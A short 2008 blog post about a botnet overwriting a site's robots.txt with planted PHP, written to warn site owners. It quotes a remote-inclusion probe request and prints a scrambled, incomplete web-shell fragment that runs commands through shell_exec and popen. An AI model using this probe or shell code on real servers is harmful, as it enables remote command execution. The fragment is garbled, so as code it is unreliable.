Friday, January 18, 2008

Botnet Whacks ROBOTS.TXT File

Just when you think having your server hacked is bad enough, these idiots start messing with your robots.txt file.

Here's an example: "GET //errors.php?error= HTTP/1.0" "libwww-perl/5.48"
What did that robots.txt contain?
echo "549821347819481
echo $eseguicmd."
function ex($cfe){
$res = '';
if (!empty($cfe)){
$res = join("\n",$res);
$res = @shell_exec($cfe);
$res = @ob_get_contents();
$res = @ob_get_contents();
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
return $res;
Looks like botnets are now OK with messing up your search engine positions as well as messing up your server.

Just imagine that all the pages or images you have blocked are suddenly crawled.

Then imagine that every junk crawler you've denied is suddenly crawling all over your site.

It could take months or years to clean up the damage, if ever.

Fun, huh?